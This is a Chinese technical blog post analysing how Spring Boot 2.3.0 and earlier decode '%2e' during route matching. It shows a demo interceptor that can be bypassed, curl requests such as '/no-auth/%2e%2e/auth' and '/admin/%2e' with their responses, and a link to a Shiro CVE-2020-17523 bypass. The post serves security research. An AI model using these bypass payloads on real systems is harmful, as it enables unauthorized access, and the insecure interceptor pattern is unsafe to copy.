详解SpringBoot中关于%2e的Trick

分享一个SpringBoot中关于%2e的小Trick。先说结论,当SpringBoot版本在小于等于2.3.0.RELEASE的情况下, alwaysUseFullPath 为默认值false,这会使得其获取ServletPath,所以在路由匹配时会对 %2e 进行解码,这可能导致身份验证绕过。而反过来由于高版本将 alwaysUseFullPath 自动配置成了true从而开启全路径,又可能导致一些安全问题。

这里我们来通过一个例子看一下这个Trick,并分析它的原因。

首先我们先来设置SprinBoot版本

<parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.3.0.RELEASE</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>

编写一个Controller

@RestController
public class httpbinController {
    @RequestMapping(value = "no-auth", method = RequestMethod.GET)
    public String noAuth() {
        return "no-auth";
    }

    @RequestMapping(value = "auth", method = RequestMethod.GET)
    public String auth() {
        return "auth";
    }
}

接下来配置对应的Interceptor来实现对除no-auth以外的路由的拦截

@Configuration
public class WebMvcConfig implements WebMvcConfigurer {
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(handlerInterceptor())
                //配置拦截规则
                .addPathPatterns("/**");
    }

    @Bean
    public HandlerInterceptor handlerInterceptor() {
        return new PermissionInterceptor();
    }
}
@Component
public class PermissionInterceptor implements HandlerInterceptor {
    @Override
    public boolean preHandle(HttpServletRequest request,
                             HttpServletResponse response,
                             Object handler) throws Exception {
        String uri = request.getRequestURI();
        uri = uri.replaceAll("//", "/");
        System.out.println("RequestURI: "+uri);
        if (uri.contains("..") || uri.contains("./") ) {
            return false;
        }
        if (uri.startsWith("/no-auth")){
            return true;
        }
        return false;
    }
}

由上面代码可以知道它使用了getRequestURI来进行路由判断。通常你可以看到如 startsWith , contains 这样的判断方式,显然这是不安全的,我们绕过方式由很多比如 .. 或 ..; 等,但其实在用 startsWith 来判断白名单时构造都离不开跨目录的符号 ..
那么像上述代码这种情况又如何来绕过呢?答案就是 %2e
发起请求如下

$ curl -v "http://127.0.0.1:8080/no-auth/%2e%2e/auth"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET /no-auth/%2e%2e/auth HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 4
< Date: Wed, 14 Apr 2021 13:22:03 GMT
<
* Connection #0 to host 127.0.0.1 left intact
auth
* Closing connection 0

RequestURI输出为

RequestURI: /no-auth/%2e%2e/auth

可以看到我们通过 %2e%2e 绕过了PermissionInterceptor的判断,同时匹配路由成功,很显然应用在进行路由匹配时对 %2e 进行了解码。

我们再来切换SpringBoot版本再来看下

<version>2.3.1.RELEASE</version>

发起请求,当然也是过了拦截,但没有匹配路由成功,返回404

$ curl -v "http://127.0.0.1:8080/no-auth/%2e%2e/auth"
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET /no-auth/%2e%2e/auth HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 404
< Vary: Origin
< Vary: Access-Control-Request-Method
< Vary: Access-Control-Request-Headers
< Content-Length: 0
< Date: Wed, 14 Apr 2021 13:17:26 GMT
<
* Connection #0 to host 127.0.0.1 left intact
* Closing connection 0

RequestURI输出为

RequestURI: /no-auth/%2e%2e/auth

可以得出结论当SpringBoot版本在小于等于2.3.0.RELEASE的情况下,其在路由匹配时会对 %2e 进行解码,这可能导致身份验证绕过。

那么又为什么会这样?

在SpringMVC进行路由匹配时会从DispatcherServlet开始,然后到HandlerMapping中去获取Handler,在这个时候就会进行对应path的匹配。

我们来跟进代码看这个关键的地方 org.springframework.web.util.UrlPathHelper#getLookupPathForRequest(javax.servlet.http.HttpServletRequest)
这里就出现有趣的现象,在2.3.0.RELEASE中 alwaysUseFullPath 为默认值false

而在2.3.1.RELEASE中 alwaysUseFullPath 被设置成了true

这也就导致了不同的结果,一个走向了 getPathWithinApplication 而另一个走向了 getPathWithinServletMapping
在 getPathWithinServletMapping 中会获取ServletPath,ServletPath会对其解码,这个很多讲Tomcat url差异的文章都提过了,就不多说了。所以解释了最终出现绕过的情况。

那么Trick的具体描述就成了当SpringBoot版本在小于等于2.3.0.RELEASE的情况下, alwaysUseFullPath 为默认值false,这会使得其获取ServletPath,所以在路由匹配时会对 %2e 进行解码,这可能导致身份验证绕过。

而这和Shiro的CVE-2020-17523中的一个姿势形成了呼应,只要高版本SpringBoot就可以了不用非要手动设置 alwaysUseFullPath

$ curl -v http://127.0.0.1:8080/admin/%2e
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 8080 (#0)
> GET /admin/%2e HTTP/1.1
> Host: 127.0.0.1:8080
> User-Agent: curl/7.64.1
> Accept: */*
>
< HTTP/1.1 200
< Content-Type: text/plain;charset=UTF-8
< Content-Length: 10
< Date: Wed, 14 Apr 2021 13:48:33 GMT
<
* Connection #0 to host 127.0.0.1 left intact
admin page* Closing connection 0

感兴趣的可以再看看说不定有额外收获

话说回来,可是为什么在高版本中 alwaysUseFullPath 会被设置成true呢?

这就要追溯到 org.springframework.boot.autoconfigure.web.servlet.WebMvcAutoConfiguration.WebMvcAutoConfigurationAdapter#configurePathMatch
在spring-boot-autoconfigure-2.3.0.RELEASE中

在spring-boot-autoconfigure-2.3.1.RELEASE中

为什么要这样设置?我们查看git log这里给出了答案。

https://github.com/spring-projects/spring-boot/commit/a12a3054c9c5dded034ee72faac20e578b5503af

当Servlet映射为”/”时,官方认为这样配置是更有效率的,因为需要请求路径的处理较少。

配置servlet.path可以通过如下,但通常不会这样配置除非有特殊需求。

spring.mvc.servlet.path=/test/

所以最后,当SpringBoot版本在小于等于2.3.0.RELEASE的情况下, alwaysUseFullPath 为默认值false,这会使得其获取ServletPath,所以在路由匹配时会对 %2e 进行解码,这可能导致身份验证绕过。而高版本为了提高效率对 alwaysUseFullPath 自动配置成了true从而开启全路径,这又造就了Shiro的CVE-2020-17523中的一个利用姿势。

到此这篇关于详解SpringBoot中关于%2e的Trick的文章就介绍到这了,更多相关SpringBoot Trick内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!

(0)

相关推荐

  • springboot 实现mqtt物联网的示例代码

    Springboot整合mybatisPlus+mysql+druid+swaggerUI+ mqtt 整合mqtt整合druid整合mybatis-plus完整pom完整yml整合swaggerUi整合log4j MQTT 物联网系统基本架构本物联网系列 mqtt) 整合mqtt <!--mqtt依赖--> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>

  • Springboot获取前端反馈信息并存入数据库的实现代码

    导入mybatis依赖 <!--mybatis--> <dependency> <groupId>org.mybatis.spring.boot</groupId> <artifactId>mybatis-spring-boot-starter</artifactId> <version>2.0.1</version> </dependency> yml实现mybatis依赖 spring: dat

  • SpringBoot + 微信公众号JSAPI支付功能的实现

    1.pom.xml依赖配置 <!-- 微信支付 --> <dependency> <groupId>com.egzosn</groupId> <artifactId>pay-java-wx</artifactId> <version>2.12.4</version> </dependency> 2.application.yml文件配置微信公众号的基础信息 #微信公众号支付配置 wechatpay:

  • Springboot应用中线程池配置详细教程(最新2021版)

    前言:日常开发中我们常用ThreadPoolExecutor提供的线程池服务帮我们管理线程,在Springboot中更是提供了@Async注解来简化业务逻辑提交到线程池中执行的过程.由于Springboot中默认设置的corePoolSize=1和queyeCapacity=Integer.MAX_VALUE,相当于采用单线程处理所有任务,这就与多线程的目的背道而驰,所以这就要求我们在使用@Async注解时要配置线程池.本文就讲述下Springboot应用下的线程池配置. 背景知识:Spring

  • SpringBoot 利用MultipartFile上传本地图片生成图片链接的实现方法

    方法一 实现类: public String fileUpload(MultipartFile file) { if(file == null){ return null; } String fileName = file.getOriginalFilename(); fileName = FileUtil.renameToUUID(fileName); //自定义保存到本地路径 String uploadpath = "D:/image/"; try{ FileUtil.upload

  • 详解SpringBoot中关于%2e的Trick

    分享一个SpringBoot中关于%2e的小Trick.先说结论,当SpringBoot版本在小于等于2.3.0.RELEASE的情况下, alwaysUseFullPath 为默认值false,这会使得其获取ServletPath,所以在路由匹配时会对 %2e 进行解码,这可能导致身份验证绕过.而反过来由于高版本将 alwaysUseFullPath 自动配置成了true从而开启全路径,又可能导致一些安全问题. 这里我们来通过一个例子看一下这个Trick,并分析它的原因. 首先我们先来设置Sp

  • 详解SpringBoot中的参数校验(项目实战)

    Java后端发工作中经常会对前端传递过来的参数做一些校验,在业务中还要抛出异常或者不断的返回异常时的校验信息,充满了if-else这种校验代码,在代码中相当冗长.例如说,用户注册时,会校验手机格式的正确性,用户名的长度等等.虽说前端也可以做参数校验,但是为了保证我们API接口的可靠性,以保证最终数据入库的正确性,后端进行参数校验不可忽视. Hibernate Validator 提供了一种统一方便的方式,让我们快速的实现参数校验. Hibernate Validator 使用注解,实现声明式校验

  • 详解SpringBoot中Controller接收对象列表实现

    如果Spring Boot中对应的Controller要接收一个对象,该对象中又存放了一个List列表,那么页面该如何传递相关应的参数信息呢. 本篇文章给大家一个简单的示例,提供一种实现方式. 实体类 首先看实体类的结构(注意使用了Lombok): @Data public class Rules { private List<Rule> rules; } 对应Rule实体类代码如下: @Data public class Rule { /** * 类名 */ private String c

  • 详解SpringBoot中的tomcat优化和修改

    项目背景 在做项目的时候,把SpringBoot的项目打包成安装包了,在客户上面安装运行,一切都是那么的完美,可是发生了意外,对方突然说导出导入的文件都不行了.我急急忙忙的查看日志,发现报了一个错误 java.io.IOException: The temporary upload location [C:\Windows\Temp\tomcat.1351070438015228346.8884\work\Tomcat\localhost\ROOT] is not valid at org.ap

  • 详解SpringBoot中添加@ResponseBody注解会发生什么

    SpringBoot版本2.2.4.RELEASE. [1]SpringBoot接收到请求 ① springboot接收到一个请求返回json格式的列表,方法参数为JSONObject 格式,使用了注解@RequestBody 为什么这里要说明返回格式.方法参数.参数注解?因为方法参数与参数注解会影响你使用不同的参数解析器与后置处理器!通常使用WebDataBinder进行参数数据绑定结果也不同. 将要调用的目标方法如下: @ApiOperation(value="分页查询") @Re

  • 详解springboot中各个版本的redis配置问题

    今天在springboot中使用数据库,springboot版本为2.0.2.RELEASE,通过pom引入jar包,配置文件application.properties中的redis配置文件报错,提示例如deprecated configuration property 'spring.redis.pool.max-active',猜想应该是版本不对,发现springboot在1.4前后集成redis发生了一些变化.下面截图看下. 一.不同版本RedisProperties的区别 这是spri

  • 详解SpringBoot中自定义和配置拦截器的方法

    目录 1.SpringBoot版本 2.什么是拦截器 3.工作原理 4.拦截器的工作流程 4.1正常流程 4.2中断流程 5.应用场景 6.如何自定义一个拦截器 7.如何使其在Spring Boot中生效 8.实际使用 8.1场景模拟 8.2思路 8.3实现过程 8.4效果体验 9.总结 1.SpringBoot版本 本文基于的Spring Boot的版本是2.6.7 . 2.什么是拦截器 Spring MVC中的拦截器(Interceptor)类似于ServLet中的过滤器(Filter),它

  • 详解SpringBoot中@SessionAttributes的使用

    目录 简介 概述 代码 后端代码 前端代码 测试 简介 说明 本文介绍SpringBoot中@SessionAttributes的用法. 概述 在默认情况下,ModelMap中的属性作用域是request级别,也就是说,当本次请求结束后,ModelMap 中的属性将销毁.如果希望在多个请求中共享ModelMap中的属性,必须将其属性转存到session 中,这样 ModelMap 的属性才可以被跨请求访问. Spring 允许我们有选择地指定 ModelMap 中的哪些属性需要转存到 sessi

  • 详解SpringBoot中@ConditionalOnClass注解的使用

    目录 一.@ConditionalOnClass注解初始 二.@ConditionalOnClass注解用法 1.使用value属性 2.使用name属性 三.@ConditionalOnClass是怎么实现的 四.总结 今天给大家带来的是springboot中的@ConditionalOnClass注解的用法.上次的@ConditionalOnBean注解还记得吗? 一.@ConditionalOnClass注解初始 看下@CodidtionalOnClass注解的定义, 需要注意的有两点,

  • 详解SpringBoot中@NotNull,@NotBlank注解使用

    目录 一.添加依赖 二.在类中使用验证注解 1.创建验证实体类(嵌套使用) 2.创建全局异常处理器,对message信息进行处理,并返回给前端 3.在controller中的使用 三.在方法参数中使用验证注解,与@RequsetParam注解同时使用,注意类上使用@Validated 四.自定义验证注解 一.添加依赖 <!-- spring-boot 2.3及以上的版本只需要引入下面的依赖 --> <dependency> <groupId>org.springfram

随机推荐